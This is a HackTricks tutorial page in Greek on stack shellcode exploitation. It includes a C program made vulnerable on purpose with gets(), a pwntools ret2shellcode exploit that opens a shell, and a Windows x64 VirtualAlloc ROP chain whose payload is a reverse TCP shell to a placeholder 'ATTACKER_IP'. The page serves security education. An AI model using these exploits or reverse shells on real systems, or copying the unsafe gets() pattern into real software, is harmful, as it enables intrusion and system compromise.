Stack Shellcode
Reading time: 8 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Stack shellcode είναι μια τεχνική που χρησιμοποιείται στην binary exploitation όπου ένας επιτιθέμενος γράφει shellcode στο stack ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον Instruction Pointer (IP) ή τον Extended Instruction Pointer (EIP) ώστε να δείχνει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Πρόκειται για μια κλασική μέθοδο που χρησιμοποιείται για να αποκτήσει κανείς μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα σύστημα-στόχο. Ακολουθεί ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και του τρόπου με τον οποίο μπορείτε να γράψετε το αντίστοιχο exploit χρησιμοποιώντας Python με pwntools.
Παράδειγμα σε C: Ένα Ευάλωτο Πρόγραμμα
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}
int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Αυτό το πρόγραμμα είναι ευάλωτο σε buffer overflow λόγω της χρήσης της συνάρτησης gets()
.
Μεταγλώττιση
Για να μεταγλωττίσετε αυτό το πρόγραμμα ενώ απενεργοποιείτε διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-fno-stack-protector
: Απενεργοποιεί την προστασία στοίβας.-z execstack
: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση shellcode αποθηκευμένου στη στοίβα.-no-pie
: Απενεργοποιεί το Position Independent Executable (PIE), διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode.-m32
: Μεταγλωττίζει το πρόγραμμα ως 32-bit executable, συχνά χρησιμοποιούμενο για απλότητα στο exploit development.
Python Exploit using Pwntools
Ακολουθεί πώς θα μπορούσατε να γράψετε ένα exploit σε Python χρησιμοποιώντας pwntools για να πραγματοποιήσετε ένα ret2shellcode attack:
from pwn import *
# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture
# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell
# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash
# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload)) # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
# Send the payload
p.sendline(payload)
p.interactive()
Το script αυτό κατασκευάζει ένα payload που αποτελείται από ένα NOP slide, το shellcode, και στη συνέχεια αντικαθιστά το EIP με τη διεύθυνση που δείχνει στο NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί.
Το NOP slide (asm('nop')
) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "slide" στο shellcode μας ανεξαρτήτως της ακριβούς διεύθυνσης. Προσαρμόστε το όρισμα p32()
στην αρχική διεύθυνση του buffer σας συν ένα offset για να καταλήξετε στο NOP slide.
Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
Σε σύγχρονα Windows η στοίβα είναι μη-εκτελέσιμη (DEP/NX). Ένας κοινός τρόπος για να εξακολουθήσει να εκτελείται stack-resident shellcode μετά από stack BOF είναι να κατασκευάσετε μια 64-bit ROP αλυσίδα που καλεί VirtualAlloc (ή VirtualProtect) από τον Import Address Table (IAT) του module, ώστε να κάνει μια περιοχή της στοίβας εκτελέσιμη και στη συνέχεια να επιστρέψει σε shellcode που έχει προσαρτηθεί μετά την αλυσίδα.
Βασικά σημεία (Win64 calling convention):
- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
- RCX = lpAddress → επιλέξτε μια διεύθυνση στην τρέχουσα στοίβα (π.χ., RSP) ώστε η νεο-κατανεμημένη περιοχή RWX να επικαλύπτει το payload σας
- RDX = dwSize → αρκετά μεγάλη για την αλυσίδα σας + shellcode (π.χ., 0x1000)
- R8 = flAllocationType = MEM_COMMIT (0x1000)
- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40)
- Return directly into the shellcode placed right after the chain.
Ελάχιστη στρατηγική:
- Leak μια βάση module (π.χ., μέσω format-string, object pointer, κ.λπ.) για να υπολογίσετε τις απόλυτες διευθύνσεις των gadgets και της IAT υπό ASLR.
- Βρείτε gadgets για να φορτώσετε RCX/RDX/R8/R9 (pop ή mov/xor-based sequences) και ένα call/jmp [VirtualAlloc@IAT]. Αν δεν έχετε άμεσα pop r8/r9, χρησιμοποιήστε arithmetic gadgets για να συνθέσετε τις σταθερές (π.χ., θέστε r8=0 και προσθέστε επαναλαμβανόμενα r9=0x40 σαράντα φορές για να φτάσετε το 0x1000).
- Τοποθετήστε το stage-2 shellcode αμέσως μετά την αλυσίδα.
Παράδειγμα διάταξης (εννοιολογικό):
# ... padding up to saved RIP ...
# R9 = 0x40 (PAGE_EXECUTE_READWRITE)
POP_R9_RET; 0x40
# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic
POP_R8_RET; 0x1000
# RCX = &stack (lpAddress)
LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg
# RDX = size (dwSize)
POP_RDX_RET; 0x1000
# Call VirtualAlloc via the IAT
[IAT_VirtualAlloc]
# New RWX memory at RCX — execution continues at the next stack qword
JMP_SHELLCODE_OR_RET
# ---- stage-2 shellcode (x64) ----
Με ένα περιορισμένο σύνολο gadget, μπορείτε να δημιουργήσετε τιμές καταχωρητών έμμεσα, για παράδειγμα:
- mov r9, rbx; mov r8, 0; add rsp, 8; ret → ορίζει το r9 από το rbx, μηδενίζει το r8 και αντισταθμίζει τη στοίβα με ένα junk qword.
- xor rbx, rsp; ret → αρχικοποιεί το rbx με τον τρέχοντα δείκτη στοίβας.
- push rbx; pop rax; mov rcx, rax; ret → μεταφέρει τιμή προερχόμενη από RSP στο RCX.
Pwntools sketch (given a known base and gadgets):
from pwn import *
base = 0x7ff6693b0000
IAT_VirtualAlloc = base + 0x400000 # example: resolve via reversing
rop = b''
# r9 = 0x40
rop += p64(base+POP_RBX_RET) + p64(0x40)
rop += p64(base+MOV_R9_RBX_ZERO_R8_ADD_RSP_8_RET) + b'JUNKJUNK'
# rcx = rsp
rop += p64(base+POP_RBX_RET) + p64(0)
rop += p64(base+XOR_RBX_RSP_RET)
rop += p64(base+PUSH_RBX_POP_RAX_RET)
rop += p64(base+MOV_RCX_RAX_RET)
# r8 = 0x1000 via arithmetic if no pop r8
for _ in range(0x1000//0x40):
rop += p64(base+ADD_R8_R9_ADD_RAX_R8_RET)
# rdx = 0x1000 (use any available gadget)
rop += p64(base+POP_RDX_RET) + p64(0x1000)
# call VirtualAlloc and land in shellcode
rop += p64(IAT_VirtualAlloc)
rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
Tips:
-
Το VirtualProtect λειτουργεί παρόμοια αν προτιμάτε να κάνετε ένα υπάρχον buffer RX· η σειρά των παραμέτρων είναι διαφορετική.
-
Αν ο χώρος του stack είναι στενός, δεσμεύστε RWX αλλού (RCX=NULL) και κάντε jmp σε αυτή τη νέα περιοχή αντί να επαναχρησιμοποιήσετε το stack.
-
Πάντα λάβετε υπόψη gadgets που προσαρμόζουν το RSP (π.χ., add rsp, 8; ret) εισάγοντας junk qwords.
-
ASLR πρέπει να απενεργοποιηθεί για να είναι η διεύθυνση αξιόπιστη μεταξύ εκτελέσεων, αλλιώς η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστεί κάποια leak για να καταλάβετε πού έχει φορτωθεί η win function.
-
Stack Canaries πρέπει επίσης να απενεργοποιηθούν αλλιώς η παραβιασμένη EIP return address δεν θα ακολουθηθεί ποτέ.
-
NX stack προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στο stack επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη.
Άλλα Παραδείγματα & Αναφορές
- https://ir0nstone.gitbook.io/notes/types/stack/shellcode
- https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html
- 64bit, ASLR με stack address leak, γράψε shellcode και κάνε jump σε αυτό
- https://guyinatuxedo.github.io/06-bof_shellcode/tamu19_pwn3/index.html
- 32 bit, ASLR με stack leak, γράψε shellcode και κάνε jump σε αυτό
- https://guyinatuxedo.github.io/06-bof_shellcode/tu18_shellaeasy/index.html
- 32 bit, ASLR με stack leak, σύγκριση για να αποτραπεί κλήση στο exit(), υπεργραφή μεταβλητής με μια τιμή και γράψε shellcode και κάνε jump σε αυτό
- https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/
- arm64, χωρίς ASLR, ROP gadget για να κάνει το stack εκτελέσιμο και jump στο shellcode στο stack
Αναφορές
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.